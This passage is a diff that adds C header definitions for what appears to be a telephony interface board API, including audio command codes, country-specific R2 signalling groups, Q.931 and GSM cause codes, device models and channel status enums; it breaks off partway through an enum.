+#define CM_PLAY_FROM_STREAM			0x64 
+
+#define CM_INTERNAL_PLAY			0x65 
+
+#define CM_STOP_PLAY				0x66
+
+#define CM_STOP_RECORD				0x67
+
+#define CM_PAUSE_PLAY				0x68
+
+#define CM_PAUSE_RECORD				0x69
+
+#define CM_RESUME_PLAY				0x6A
+
+#define CM_RESUME_RECORD			0x6B
+
+#define CM_INCREASE_VOLUME			0x6C
+
+#define CM_DECREASE_VOLUME			0x6D
+
+#define CM_LISTEN					0x6E
+
+#define CM_STOP_LISTEN				0x6F
+
+#define CM_PREPARE_FOR_LISTEN		0x70
+
+#define CM_PLAY_SOUND_CARD			0x71
+
+#define CM_STOP_SOUND_CARD			0x72
+
+#define CM_MIXER_CTBUS				0x73
+
+#define CM_PLAY_FROM_STREAM_EX			0x74 
+
+#define CM_INTERNAL_PLAY_EX			0x75 
+
+#define CM_ENABLE_PLAYER_AGC		0x76
+
+#define CM_DISABLE_PLAYER_AGC		0x77
+
+#define CM_START_STREAM_BUFFER		0x78
+
+#define CM_ADD_STREAM_BUFFER		0x79
+
+#define CM_STOP_STREAM_BUFFER		0x7A
+
+#define CM_SEND_BEEP				0x7B
+
+#define CM_SEND_BEEP_CONF			0x7C
+
+#define CM_ADD_TO_CONF				0x7D
+
+#define CM_REMOVE_FROM_CONF			0x7E
+
+#define CM_RECORD_TO_FILE_EX		0x7F
+
+#define CM_SET_VOLUME				0xA0
+
+#define CM_START_CADENCE			0xA1
+
+#define CM_STOP_CADENCE				0xA2
+#if !defined KR2D_H
+#define KR2D_H
+
+#define CM_SET_LINE_CONDITION		0x80
+
+#define CM_SEND_LINE_CONDITION		0x81
+
+#define CM_SET_CALLER_CATEGORY		0x82
+      
+	
+#define CM_DIAL_MFC					0x83
+
+
+
+enum KSignGroupII_Brazil
+{
+	kg2BrOrdinary		        = 0x01,     
+	kg2BrPriority		        = 0x02,     
+	kg2BrMaintenance	        = 0x03,     
+	kg2BrLocalPayPhone	        = 0x04,     
+	kg2BrTrunkOperator	        = 0x05,     
+	kg2BrDataTrans	            = 0x06,     
+	kg2BrNonLocalPayPhone       = 0x07,     
+	kg2BrCollectCall	        = 0x08,     
+	kg2BrOrdinaryInter	        = 0x09,     
+	kg2BrTransfered		        = 0x0B,     
+};
+
+enum KSignGroupB_Brazil
+{
+	kgbBrLineFreeCharged		= 0x01,     
+	kgbBrBusy					= 0x02,     
+	kgbBrNumberChanged			= 0x03,     
+	kgbBrCongestion				= 0x04,     
+	kgbBrLineFreeNotCharged		= 0x05,     
+	kgbBrLineFreeChargedLPR		= 0x06,     
+	kgbBrInvalidNumber			= 0x07,     
+	kgbBrLineOutOfOrder			= 0x08,     
+	kgbBrNone					= 0xFF      
+};
+
+
+enum KSignGroupII_Argentina
+{
+	kg2ArOrdinary		        = 0x01,     
+	kg2ArPriority		        = 0x02,     
+	kg2ArMaintenance	        = 0x03,     
+	kg2ArLocalPayPhone	        = 0x04,     
+	kg2ArTrunkOperator	        = 0x05,     
+	kg2ArDataTrans	            = 0x06,     
+    kg2ArCPTP                   = 0x0B,     
+    kg2ArSpecialLine            = 0x0C,     
+    kg2ArMobileUser             = 0x0D,     
+    kg2ArPrivateRedLine         = 0x0E,     
+    kg2ArSpecialPayPhoneLine    = 0x0F,     
+};
+
+enum KSignGroupB_Argentina
+{
+	kgbArNumberChanged			= 0x02,     
+	kgbArBusy					= 0x03,     
+	kgbArCongestion				= 0x04,     
+	kgbArInvalidNumber			= 0x05,     
+	kgbArLineFreeCharged		= 0x06,     
+	kgbArLineFreeNotCharged		= 0x07,     
+	kgbArLineOutOfOrder			= 0x08,     
+	kgbArNone					= 0xFF      
+};
+
+
+enum KSignGroupII_Chile
+{
+    kg2ClOrdinary		        = 0x01,     
+	kg2ClPriority		        = 0x02,     
+	kg2ClMaintenance	        = 0x03,     
+	kg2ClTrunkOperator	        = 0x05,     
+	kg2ClDataTrans	            = 0x06,     
+    kg2ClUnidentifiedSubscriber = 0x0B,     
+};
+
+enum KSignGroupB_Chile
+{
+	kgbClNumberChanged			= 0x02,     
+	kgbClBusy					= 0x03,     
+	kgbClCongestion				= 0x04,     
+	kgbClInvalidNumber			= 0x05,     
+	kgbClLineFreeCharged		= 0x06,     
+	kgbClLineFreeNotCharged		= 0x07,     
+	kgbClLineOutOfOrder			= 0x08,     
+	kgbClNone					= 0xFF      
+};
+
+
+enum KSignGroupII_Mexico
+{
+	kg2MxTrunkOperator	        = 0x01,     
+	kg2MxOrdinary		        = 0x02,     
+	kg2MxMaintenance	        = 0x06,     
+};
+
+enum KSignGroupB_Mexico
+{
+	kgbMxLineFreeCharged		= 0x01,     
+	kgbMxBusy					= 0x02,     
+	kgbMxLineFreeNotCharged		= 0x05,     
+	kgbMxNone				    = 0xFF      
+};
+
+
+enum KSignGroupII_Uruguay
+{
+	kg2UyOrdinary		        = 0x01,     
+	kg2UyPriority		        = 0x02,     
+	kg2UyMaintenance	        = 0x03,     
+	kg2UyLocalPayPhone	        = 0x04,     
+	kg2UyTrunkOperator	        = 0x05,     
+	kg2UyDataTrans	            = 0x06,     
+    kg2UyInternSubscriber       = 0x07,     
+};
+
+enum KSignGroupB_Uruguay
+{
+	kgbUyNumberChanged			= 0x02,     
+	kgbUyBusy					= 0x03,     
+	kgbUyCongestion				= 0x04,     
+	kgbUyInvalidNumber			= 0x05,     
+	kgbUyLineFreeCharged		= 0x06,     
+	kgbUyLineFreeNotCharged		= 0x07,     
+	kgbUyLineOutOfOrder			= 0x08,     
+	kgbUyNone					= 0xFF      
+};
+
+
+enum KSignGroupII_Venezuela
+{
+	kg2VeOrdinary		        = 0x01,     
+	kg2VePriority		        = 0x02,     
+	kg2VeMaintenance	        = 0x03,     
+	kg2VeLocalPayPhone	        = 0x04,     
+	kg2VeTrunkOperator	        = 0x05,     
+	kg2VeDataTrans	            = 0x06,     
+    kg2VeNoTransferFacility     = 0x07,     
+};
+
+enum KSignGroupB_Venezuela
+{
+	kgbVeLineFreeChargedLPR		= 0x01,     
+	kgbVeNumberChanged			= 0x02,     
+	kgbVeBusy					= 0x03,     
+	kgbVeCongestion				= 0x04,     
+	kgbVeInformationTone		= 0x05,     
+	kgbVeLineFreeCharged		= 0x06,     
+	kgbVeLineFreeNotCharged		= 0x07,     
+    kgbVeLineBlocked            = 0x08,     
+    kgbVeIntercepted            = 0x09,     
+    kgbVeDataTrans              = 0x0A,     
+	kgbVeNone					= 0xFF      
+};
+
+
+
+
+
+enum KSignGroupB
+{
+	kgbLineFreeCharged			= 0x01,
+	kgbLineFreeNotCharged		= 0x05,
+	kgbLineFreeChargedLPR		= 0x06,
+	kgbBusy						= 0x02,
+	kgbNumberChanged			= 0x03,
+	kgbCongestion				= 0x04,
+	kgbInvalidNumber			= 0x07,
+	kgbLineOutOfOrder			= 0x08,
+	kgbNone						= 0xFF
+};
+#define STT_GB_LINEFREE_CHARGED				0x01
+#define STT_GB_LINEFREE_NOTCHARGED			0x05
+#define STT_GB_LINEFREE_CHARGED_LPR			0x06
+#define	STT_GB_BUSY							0x02
+#define STT_GB_NUMBER_CHANGED				0x03
+#define STT_GB_CONGESTION					0x04
+#define STT_GB_UNALLOCATED_NUMBER			0x07
+#define STT_GB_LINE_OUT_OF_ORDER			0x08
+#define STT_GB_NONE							0xFF
+
+enum KSignGroupII
+{
+	kg2Ordinary			= 0x01,
+	kg2Priority			= 0x02,
+	kg2Maintenance		= 0x03,
+	kg2LocalPayPhone	= 0x04,
+	kg2TrunkOperator	= 0x05,
+	kg2DataTrans		= 0x06,
+	kg2NonLocalPayPhone = 0x07,
+	kg2CollectCall		= 0x08,
+	kg2OrdinaryInter	= 0x09,
+	kg2Transfered		= 0x0B,
+};
+#define STT_GII_ORDINARY					0x01
+#define STT_GII_PRIORITY					0x02
+#define STT_GII_MAINTENANCE					0x03
+#define STT_GII_LOCAL_PAY_PHONE				0x04
+#define STT_GII_TRUNK_OPERATOR				0x05
+#define STT_GII_DATA_TRANS					0x06
+#define STT_GII_NON_LOCAL_PAY_PHONE			0x07		
+#define STT_GII_COLLECT_CALL				0x08
+#define STT_GII_ORDINARY_INTERNATIONAL		0x09
+#define STT_GII_TRANSFERED					0x0B
+#endif
+#ifndef _KISDN_H_
+#define _KISDN_H_
+#define KMAX_USER_USER_LEN              32
+#define KMAX_SUBADRESS_INFORMATION_LEN  20 
+
+enum KQ931Cause
+{
+    kq931cNone                    			= 0,
+    kq931cUnallocatedNumber       			= 1,
+    kq931cNoRouteToTransitNet     			= 2,
+    kq931cNoRouteToDest           			= 3,
+	kq931cSendSpecialInfoTone				= 4,
+	kq931cMisdialedTrunkPrefix				= 5,
+    kq931cChannelUnacceptable     			= 6,
+    kq931cCallAwarded             			= 7,
+	kq931cPreemption						= 8,
+	kq931cPreemptionCircuitReuse			= 9,
+	kq931cQoR_PortedNumber					= 14,
+    kq931cNormalCallClear         			= 16,
+    kq931cUserBusy                			= 17,
+    kq931cNoUserResponding        			= 18,
+    kq931cNoAnswerFromUser        			= 19,
+	kq931cSubscriberAbsent					= 20,
+    kq931cCallRejected            			= 21,
+    kq931cNumberChanged           			= 22,
+	kq931cRedirectionToNewDest				= 23,
+	kq931cCallRejectedFeatureDest			= 24,
+	kq931cExchangeRoutingError				= 25,
+    kq931cNonSelectedUserClear    			= 26,
+    kq931cDestinationOutOfOrder   			= 27,
+    kq931cInvalidNumberFormat     			= 28,
+    kq931cFacilityRejected        			= 29,
+    kq931cRespStatusEnquiry       			= 30,
+    kq931cNormalUnspecified       			= 31,
+    kq931cNoCircuitChannelAvail   			= 34,
+    kq931cNetworkOutOfOrder       			= 38,
+	kq931cPermanentFrameConnOutOfService	= 39,
+	kq931cPermanentFrameConnOperational		= 40,
+    kq931cTemporaryFailure          		= 41,
+    kq931cSwitchCongestion          		= 42,
+    kq931cAccessInfoDiscarded       		= 43,
+    kq931cRequestedChannelUnav      		= 44,
+	kq931cPrecedenceCallBlocked				= 46,
+    kq931cResourceUnavailable       		= 47,
+    kq931cQosUnavailable            		= 49,
+    kq931cReqFacilityNotSubsc       		= 50,
+	kq931cOutCallsBarredWithinCUG			= 53,
+	kq931cInCallsBarredWithinCUG			= 55,
+    kq931cBearerCapabNotAuthor      		= 57,
+    kq931cBearerCapabNotAvail       		= 58,
+	kq931cInconsistency						= 62,
+    kq931cServiceNotAvailable       		= 63,
+    kq931cBcNotImplemented          		= 65,
+    kq931cChannelTypeNotImplem      		= 66,
+    kq931cReqFacilityNotImplem      		= 69,
+    kq931cOnlyRestrictedBcAvail     		= 70,
+    kq931cServiceNotImplemented     		= 79,
+    kq931cInvalidCrv                		= 81,
+    kq931cChannelDoesNotExist       		= 82,
+    kq931cCallIdDoesNotExist        		= 83,
+    kq931cCallIdInUse               		= 84,
+    kq931cNoCallSuspended           		= 85,
+    kq931cCallIdCleared             		= 86,
+	kq931cUserNotMemberofCUG				= 87,
+    kq931cIncompatibleDestination   		= 88,
+    kq931cInvalidTransitNetSel      		= 91,
+    kq931cInvalidMessage            		= 95,
+    kq931cMissingMandatoryIe        		= 96,
+    kq931cMsgTypeNotImplemented     		= 97,
+    kq931cMsgIncompatWithState      		= 98,
+    kq931cIeNotImplemented          		= 99,
+    kq931cInvalidIe                 		= 100,
+    kq931cMsgIncompatWithState2     		= 101,
+    kq931cRecoveryOnTimerExpiry     		= 102,
+    kq931cProtocolError             		= 103,
+	kq931cMessageWithUnrecognizedParam		= 110,
+	kq931cProtocolErrorUnspecified			= 111,
+    kq931cInterworking              		= 127,
+    kq931cCallConnected             		= 128,
+    kq931cCallTimedOut              		= 129,
+    kq931cCallNotFound              		= 130,
+    kq931cCantReleaseCall           		= 131,
+    kq931cNetworkFailure            		= 132,
+    kq931cNetworkRestart            		= 133,
+    kq931cLastValidCause            		= kq931cNetworkRestart,
+};
+
+enum KQ931ProgressIndication
+{
+    kq931pTonesMaybeAvailable       = 1,
+    kq931pDestinationIsNonIsdn      = 2,
+    kq931pOriginationIsNonIsdn      = 3,
+    kq931pCallReturnedToIsdn        = 4,
+    kq931pTonesAvailable            = 8,
+};
+
+enum KQ931Hlc
+{
+    kq931hTelefony                  = 0x81,
+    k1931hFaxGroup23                = 0x84,
+    k1931hFaxGroup4                 = 0xa1,
+    kq931hTeletexF184               = 0xa4,
+    kq931hTeletexF220               = 0xa8,
+    kq931hTeletexf200               = 0xb1,
+    kq931hVideotex                  = 0xb2,
+    kq931hTelexF60                  = 0xb5,
+    kq931hMhs                       = 0xb8,
+    kq931hOsiApp                    = 0xc1,
+    kq931hMaintenance               = 0xde,
+    kq931hManagement                = 0xdf,
+};
+
+enum KQ931BearerCapability
+{
+    kq931bSpeech                    = 0x00,
+    kq931bUnrestrictedDigital       = 0x08,
+    kq931bAudio31kHz                = 0x10,
+    kq931bAudio7kHz                 = 0x11,
+    kq931bVideo                     = 0x18,
+};
+
+enum KQ931TypeOfNumber
+{
+    kq931tUnknownNumber             = 0x00,
+    kq931tInternationalNumber       = 0x10,
+    kq931tNationalNumber            = 0x20,
+    kq931tNetworkSpecificNumber     = 0x30,
+    kq931tSubscriberNumber          = 0x40,
+    kq931tAbbreviatedNumber         = 0x60,
+    kq931tReservedNumber            = 0x70,
+    kq931tDefaultNumber             = kq931tUnknownNumber,
+};
+
+enum KQ931NumberingPlan
+{
+    kq931pUnknownPlan               = 0x00,
+    kq931pIsdnPlan                  = 0x01,
+    kq931pDataPlan                  = 0x03,
+    kq931pTelexPlan                 = 0x04,
+    kq931pNationalPlan              = 0x08,
+    kq931pPrivatePlan               = 0x09,
+    kq931pReservedPlan              = 0x0F,
+    kq931pDefaultPlan               = kq931pUnknownPlan,
+};
+
+enum KQ931UserInfoProtocolDescriptor
+{
+    kq931uuUserSpecific             = 0x00,
+    kq931uuOSI_HighLayer            = 0x01,
+    kq931uuX244                     = 0x02,
+    kq931uuIA5_Chars                = 0x04,
+    kq931uuX208_X209                = 0x05,
+    kq931uuV120                     = 0x07,
+    kq931uuQ931_CallControl         = 0x08,
+    kq931uuNational                 = 0x40 
+};
+enum KQ931PresentationIndicator
+{
+	kq931piPresentationAllowed					= 0x00,
+	kq931piPresentationRestricted				= 0x01,
+	kq931piNumberNotAvailableDueToInterworking	= 0x02,
+};
+enum KQ931ScreeningIndicator
+{
+	kq931siUserProvidedNotScreened				= 0x00,
+	kq931siUserProvidedVerifiedAndPassed		= 0x01,
+	kq931siUserProvidedVerifiedAndFailed		= 0x02,
+	kq931siNetworkProvided						= 0x03,
+};
+enum KQ931TypeOfSubaddress
+{
+    kq931tsNSAP                                 = 0x00,
+    kq931tsUserSpecified                        = 0x01,
+};
+#endif 
+#ifndef KGSM_H
+#define KGSM_H
+
+enum KGsmCallCause
+{
+    kgccNone                      = 0,
+    kgccUnallocatedNumber         = 1,
+    kgccNoRouteToDest             = 3,
+    kgccChannelUnacceptable       = 6,
+    kgccOperatorDeterminedBarring = 8,
+    kgccNormalCallClear           = 16,
+    kgccUserBusy                  = 17,
+    kgccNoUserResponding          = 18,
+    kgccNoAnswerFromUser          = 19,
+    kgccCallRejected              = 21,
+    kgccNumberChanged             = 22,
+    kgccNonSelectedUserClear      = 26,
+    kgccDestinationOutOfOrder     = 27,
+    kgccInvalidNumberFormat       = 28,
+    kgccFacilityRejected          = 29,
+    kgccRespStatusEnquiry         = 30,
+    kgccNormalUnspecified         = 31,
+    kgccNoCircuitChannelAvail     = 34,
+    kgccNetworkOutOfOrder         = 38,
+    kgccTemporaryFailure          = 41,
+    kgccSwitchCongestion          = 42,
+    kgccAccessInfoDiscarded       = 43,
+    kgccRequestedChannelUnav      = 44,
+    kgccResourceUnavailable       = 47,
+    kgccQosUnavailable            = 49,
+    kgccReqFacilityNotSubsc       = 50,
+    kgccCallBarredWitchCUG        = 55,
+    kgccBearerCapabNotAuthor      = 57,
+    kgccBearerCapabNotAvail       = 58,
+    kgccServiceNotAvailable       = 63,
+    kgccBcNotImplemented          = 65,
+    kgccReqFacilityNotImplem      = 69,
+    kgccOnlyRestrictedBcAvail     = 70,
+    kgccServiceNotImplemented     = 79,
+    kgccInvalidCrv                = 81,
+    kgccUserNotMemberOfCUG        = 82,
+    kgccIncompatibleDestination   = 88,
+    kgccInvalidTransitNetSel      = 91,
+    kgccInvalidMessage            = 95,
+    kgccMissingMandatoryIe        = 96,
+    kgccMsgTypeNotImplemented     = 97,
+    kgccMsgIncompatWithState      = 98,
+    kgccIeNotImplemented          = 99,
+    kgccInvalidIe                 = 100,
+    kgccMsgIncompatWithState2     = 101,
+    kgccRecoveryOnTimerExpiry     = 102,
+    kgccProtocolError             = 111,
+    kgccInterworking              = 127,
+};
+
+enum KGsmMobileCause
+{
+    kgmcPhoneFailure                = 0,
+    kgmcNoConnectionToPhone         = 1,
+    kgmcPhoneAdaptorLinkReserved    = 2,
+    kgmcOperationNotAllowed         = 3,
+    kgmcOperationNotSupported       = 4,
+    kgmcPH_SIMPINRequired           = 5,
+    kgmcPH_FSIMPINRequired          = 6,
+    kgmcPH_FSIMPUKRequired          = 7,
+    kgmcSIMNotInserted              = 10,
+    kgmcSIMPINRequired              = 11,
+    kgmcSIMPUKRequired              = 12,
+    kgmcSIMFailure                  = 13,
+    kgmcSIMBusy                     = 14,
+    kgmcSIMWrong                    = 15,
+    kgmcIncorrectPassword           = 16,
+    kgmcSIMPIN2Required             = 17,
+    kgmcSIMPUK2Required             = 18,
+    kgmcMemoryFull                  = 20,
+    kgmcInvalidIndex                = 21,
+    kgmcNotFound                    = 22,
+    kgmcMemoryFailure               = 23,
+    kgmcTextStringTooLong           = 24,
+    kgmcInvalidCharInTextString     = 25,
+    kgmcDialStringTooLong           = 26,
+    kgmcInvalidCharInDialString     = 27,
+    kgmcNoNetworkService            = 30,  
+    kgmcNetworkTimeout              = 31,  
+    kgmcNetworkNotAllowed           = 32,
+    kgmcCommandAborted              = 33,
+    kgmcNumParamInsteadTextParam    = 34,
+    kgmcTextParamInsteadNumParam    = 35,
+    kgmcNumericParamOutOfBounds     = 36,
+    kgmcTextStringTooShort          = 37,
+    kgmcNetworkPINRequired          = 40,
+    kgmcNetworkPUKRequired          = 41,
+    kgmcNetworkSubsetPINRequired    = 42,
+    kgmcNetworkSubnetPUKRequired    = 43,
+    kgmcServiceProviderPINRequired  = 44,
+    kgmcServiceProviderPUKRequired  = 45,
+    kgmcCorporatePINRequired        = 46,
+    kgmcCorporatePUKRequired        = 47,
+    kgmcSIMServiceOptNotSupported   = 60,
+    kgmcUnknown                     = 100,
+    kgmcIllegalMS_N3                = 103,
+    kgmcIllegalME_N6                = 106,
+    kgmcGPRSServicesNotAllowed_N7   = 107,
+    kgmcPLMNNotAllowed_No11         = 111,
+    kgmcLocationAreaNotAllowed_N12  = 112,
+    kgmcRoamingNotAllowed_N13       = 113,
+    kgmcServiceOptNotSupported_N32  = 132,
+    kgmcReqServOptNotSubscribed_N33 = 133,
+    kgmcServOptTempOutOfOrder_N34   = 134,
+    kgmcLongContextActivation       = 147,
+    kgmcUnspecifiedGPRSError        = 148,
+    kgmcPDPAuthenticationFailure    = 149,
+    kgmcInvalidMobileClass          = 150,
+    kgmcGPRSDisconnectionTmrActive  = 151,
+    kgmcTooManyActiveCalls          = 256,
+    kgmcCallRejected                = 257,
+    kgmcUnansweredCallPending       = 258,
+    kgmcUnknownCallingError         = 259,
+    kgmcNoPhoneNumRecognized        = 260,
+    kgmcCallStateNotIdle            = 261,
+    kgmcCallInProgress              = 262,
+    kgmcDialStateError              = 263,
+    kgmcUnlockCodeRequired          = 264,
+    kgmcNetworkBusy                 = 265,
+    kgmcInvalidPhoneNumber          = 266,
+    kgmcNumberEntryAlreadyStarted   = 267,
+    kgmcCancelledByUser             = 268,
+    kgmcNumEntryCouldNotBeStarted   = 269,
+    kgmcDataLost                    = 280,
+    kgmcInvalidBessageBodyLength    = 281,
+    kgmcInactiveSocket              = 282,
+    kgmcSocketAlreadyOpen           = 283
+};
+
+enum KGsmSmsCause
+{
+    kgscUnassigned                  = 1,
+    kgscOperatorDeterminedBarring   = 8,
+    kgscCallBarred                  = 10,
+    kgscSMSTransferRejected         = 21,
+    kgscDestinationOutOfService     = 27,
+    kgscUnidentifiedSubscriber      = 28,
+    kgscFacilityRejected            = 29,
+    kgscUnknownSubscriber           = 30,
+    kgscNetworkOutOfOrder           = 38,
+    kgscTemporaryFailure            = 41,
+    kgscCongestion                  = 42,
+    kgscResourcesUnavailable        = 47,
+    kgscFacilityNotSubscribed       = 50,
+    kgscFacilityNotImplemented      = 69,
+    kgscInvalidSMSTransferRefValue  = 81,
+    kgscInvalidMessage              = 95,
+    kgscInvalidMandatoryInformation = 96,
+    kgscMessageTypeNonExistent      = 97,
+    kgscMsgNotCompatWithSMProtState = 98,
+    kgscInformationElementNonExiste = 99,
+    kgscProtocolError               = 111,
+    kgscInterworking                = 127,
+    kgscTelematicInterworkingNotSup = 128,
+    kgscSMSTypeZeroNotSupported     = 129,
+    kgscCannotReplaceSMS            = 130,
+    kgscUnspecifiedTPPIDError       = 143,
+    kgscAlphabetNotSupported        = 144,
+    kgscMessageClassNotSupported    = 145,
+    kgscUnspecifiedTPDCSError       = 159,
+    kgscCommandCannotBeActioned     = 160,
+    kgscCommandUnsupported          = 161,
+    kgscUnspecifiedTPCommandError   = 175,
+    kgscTPDUNotSupported            = 176,
+    kgscSCBusy                      = 192,
+    kgscNoSCSubscription            = 193,
+    kgscSCSystemFailure             = 194,
+    kgscInvalidSMEAddress           = 195,
+    kgscDestinationSMEBarred        = 196,
+    kgscSMRejectedDuplicateSM       = 197,
+    kgscTPVPFNotSupported           = 198,
+    kgscTPVPNotSupported            = 199,
+    kgscSIMSMSStorageFull           = 208,
+    kgscNoSMSStorageCapabilityInSIM = 209,
+    kgscErrorInMS                   = 210,
+    kgscMemoryCapacityExceeded      = 211,
+    kgscSIMDataDownloadError        = 213,
+    kgscUnspecifiedError            = 255,
+    kgscPhoneFailure                = 300,
+    kgscSmsServiceReserved          = 301,
+    kgscOperationNotAllowed         = 302,
+    kgscOperationNotSupported       = 303,
+    kgscInvalidPDUModeParameter     = 304,
+    kgscInvalidTextModeParameter    = 305,
+    kgscSIMNotInserted              = 310,
+    kgscSIMPINNecessary             = 311,
+    kgscPH_SIMPINNecessary          = 312,
+    kgscSIMFailure                  = 313,
+    kgscSIMBusy                     = 314,
+    kgscSIMWrong                    = 315,
+    kgscMemoryFailure               = 320,
+    kgscInvalidMemoryIndex          = 321,
+    kgscMemoryFull                  = 322,
+    kgscSMSCAddressUnknown          = 330,
+    kgscNoNetworkService            = 331,
+    kgscNetworkTimeout              = 332,
+    kgscUnknownError                = 500,
+    kgscNetworkBusy                 = 512,
+    kgscInvalidDestinationAddress   = 513,
+    kgscInvalidMessageBodyLength    = 514,
+    kgscPhoneIsNotInService         = 515,
+    kgscInvalidPreferredMemStorage  = 516,
+    kgscUserTerminated              = 517
+};
+#endif
+#ifndef k3lVersion_h
+#define k3lVersion_h
+#define k3lApiMajorVersion	2
+#define k3lApiMinorVersion	1
+#define k3lApiBuildVersion	0
+#endif
+#if !defined K3L_H
+#define K3L_H
+
+enum KDeviceType
+{
+	kdtE1     = 0,
+	kdtFXO    = 1,
+	kdtConf   = 2,
+	kdtPR     = 3,
+	kdtE1GW   = 4,
+	kdtFXOVoIP = 5,
+	kdtE1IP	  = 6,
+	kdtE1Spx  = 7,
+    kdtGWIP   = 8,
+    kdtFXS    = 9,
+    kdtFXSSpx = 10,
+    kdtGSM    = 11,
+    kdtGSMSpx = 12,
+	kdtFax    = 13,
+	kdtDevTypeCount
+};
+enum KSignaling
+{
+	ksigInactive		= 0,
+	ksigR2Digital		= 1,
+	ksigContinuousEM	= 2,
+	ksigPulsedEM		= 3,
+	ksigUserR2Digital	= 4,
+	ksigAnalog			= 5,
+	ksigOpenCAS			= 6,
+	ksigOpenR2			= 7,
+	ksigSIP 			= 8,
+    ksigOpenCCS         = 9,
+    ksigPRI_EndPoint    = 10,
+    ksigAnalogTerminal  = 11,
+    ksigPRI_Network     = 12,
+    ksigPRI_Passive     = 13,
+	ksigLineSide  		= 14,
+	ksigCAS_EL7			= 15,
+    ksigGSM             = 16,
+	ksigE1LC			= 17,
+	ksigISUP			= 18,
+	ksigFax				= 19,
+};
+enum KE1DeviceModel
+{
+	kdmE1600	= 0,
+	kdmE1600E	= 1,
+	kdmE1600EX  = 2
+};
+enum KE1GWDeviceModel 
+{
+	kdmE1GW640   = 1,
+    kdmE1GW640EX = 2
+};
+enum KE1IPDeviceModel 
+{
+	kdmE1IP   = 1,
+    kdmE1IPEX = 2
+};
+enum KGWIPDeviceModel 
+{
+	kdmGWIP   = 1,
+	kdmGWIPEX = 2
+};
+enum KFXODeviceModel
+{
+	kdmFXO80    = 0,
+	kdmFXOHI    = 1,
+	kdmFXO160HI = 2
+};
+enum KFXOVoIPDeviceModel 
+{
+	kdmFXGW180 = kdmFXO80
+};
+enum KConfDeviceModel
+{
+	kdmConf240   = 0,
+	kdmConf120   = 1,
+	kdmConf240EX = 2,
+	kdmConf120EX = 3
+};
+enum KPRDeviceModel
+{
+	kdmPR300v1         = 0,
+    kdmPR300           = 1,
+	kdmPR300SpxBased   = 2,
+    kdmPR300EX         = 3
+};
+enum KFXSDeviceModel
+{
+    kdmFXS300   = 1,
+    kdmFXS300EX = 2
+};
+enum KFXSSpxDeviceModel
+{
+    kdmFXSSpx300      = 0,
+    kdmFXSSpx2E1Based = 1,
+    kdmFXSSpx300EX    = 2
+};
+enum KE1SpxDeviceModel
+{
+	kdmE1Spx    = 0,
+	kdm2E1Based = 1,
+    kdmE1SpxEX  = 2
+};
+enum KGSMDeviceModel
+{
+    kdmGSM      = 0
+};
+enum KGSMSpxDeviceModel
+{
+    kdmGSMSpx   = 0
+};
+enum KFaxDeviceModel
+{
+	kdmFax   = 0,
+	kdmFaxEX = 1
+};
+enum KSystemObject
+{
+	ksoLink		= 0x00,		
+	ksoLinkMon	= 0x20,		
+	ksoChannel	= 0x1000,	
+	ksoH100		= 0x200,	
+	ksoFirmware = 0x80,		
+	ksoDevice	= 0x100,	
+	ksoAPI		= 0x150		
+};
+enum KFirmwareId
+{
+	kfiE1600A,				
+	kfiE1600B,				
+	kfiFXO80,				
+    kfiGSM40                
+};
+enum KE1Status
+{
+	kesOk					= 0x00,		
+	kesSignalLost			= 0x01,		
+	kesNetworkAlarm			= 0x02,		
+	kesFrameSyncLost		= 0x04,		
+	kesMultiframeSyncLost	= 0x08,		
+	kesRemoteAlarm			= 0x10,		
+	kesHighErrorRate		= 0x20,		
+	kesUnknownAlarm			= 0x40,		
+	kesE1Error				= 0x80,		
+    kesNotInitialized       = 0xFF      
+};
+enum KE1ChannelStatus
+{
+	kecsFree			= 0x00,			
+	kecsBusy			= 0x01,			
+	kecsOutgoing		= 0x02,			
+	kecsIncoming		= 0x04,			
+	kecsLocked			= 0x06,			
+	kecsOutgoingLock	= 0x10,			
+	kecsLocalFail		= 0x20,			
+	kecsIncomingLock	= 0x40,			
+	kecsRemoteLock		= 0x80			
+};
+enum KVoIPChannelStatus
+{
+	kipcsFree			= kecsFree,		
+	kipcsOutgoingLock	= kecsOutgoingLock,
+	kipcsIncomingLock	= kecsIncomingLock
+};
+enum KFXOChannelStatus
+{
+	kfcsDisabled	= 0x00,		
+	kfcsEnabled		= 0x01		
+};
+enum KFXSChannelStatus
+{
+    kfxsOnHook,
+    kfxsOffHook,
+    kfxsRinging,
+    kfxsFail
+};
+enum KGsmChannelStatus
+{
+    kgsmIdle,
+    kgsmCallInProgress,
+    kgsmSMSInProgress,
+    kgsmModemError,
+    kgsmSIMCardError,
+    kgsmNetworkError,
+    kgsmNotReady
+};
+enum KCallStatus
+{
+	kcsFree		= 0x00,				
+	kcsIncoming = 0x01,				
+	kcsOutgoing = 0x02,				
+	kcsFail		= 0x04				
+};
+enum KCallStartInfo
+{
+    kcsiHumanAnswer,
+    kcsiAnsweringMachine,
+    kcsiCellPhoneMessageBox,
+    kcsiUnknown,
+    kcsiCarrierMessage
+};
+enum KChannelFeatures
+{
+	kcfDtmfSuppression	= 0x0001,
+	kcfCallProgress		= 0x0002,
+	kcfPulseDetection	= 0x0004,
+	kcfAudioNotification= 0x0008,
+	kcfEchoCanceller	= 0x0010,
+	kcfAutoGainControl	= 0x0020,
+	kcfHighImpEvents	= 0x0080,
+    kcfCallAnswerInfo   = 0x0100,
+    kcfOutputVolume     = 0x0200,
+    kcfPlayerAGC        = 0x0400
+};
+enum KMixerSource
+{
+	kmsChannel,
+	kmsPlay,
+	kmsGenerator,
+	kmsCTbus,
+    kmsNoDelayChannel
+};
+struct KMixerCommand
+{
+    int32 Track;
+    int32 Source;        
+    int32 SourceIndex;
+};
+struct KPlayFromStreamCommand
+{
+	void *Buffer;
+	uint32 BufferSize;
+	int32 CodecIndex;
+};
+struct KBufferParam
+{
+	void *Buffer;
+	uint32 BufferSize;
+};
+enum KMixerTone
+{
+	kmtSilence	= 0x00,	
+	kmtDial		= 0x01, 
+	kmtBusy		= 0x02, 
+	kmtFax		= 0x03, 
+	kmtVoice	= 0x04, 
+	kmtEndOf425 = 0x05,	
+    kmtCollect  = 0x06, 
+    kmtEndOfDtmf= 0x07, 
+};
+struct K3L_CHANNEL_STATUS
+{
+ 	KCallStatus CallStatus;
+	KMixerTone AudioStatus;
+	int32 AddInfo;			
+	int32 EnabledFeatures;	
+};
+struct K3L_LINK_STATUS
+{
+	int16 E1; 
+	byte Channels[ KMAX_E1_CHANNELS ];	
+};
+enum KPllErrors
+{
+	kpeClockAError    = 0x01,
+	kpeClockBError    = 0x02,
+	kpeSCbusError     = 0x04,
+	kpeMVIPError	  = 0x08,
+	kpeMasterPllError = 0x10,
+	kpeModeError      = 0x20,
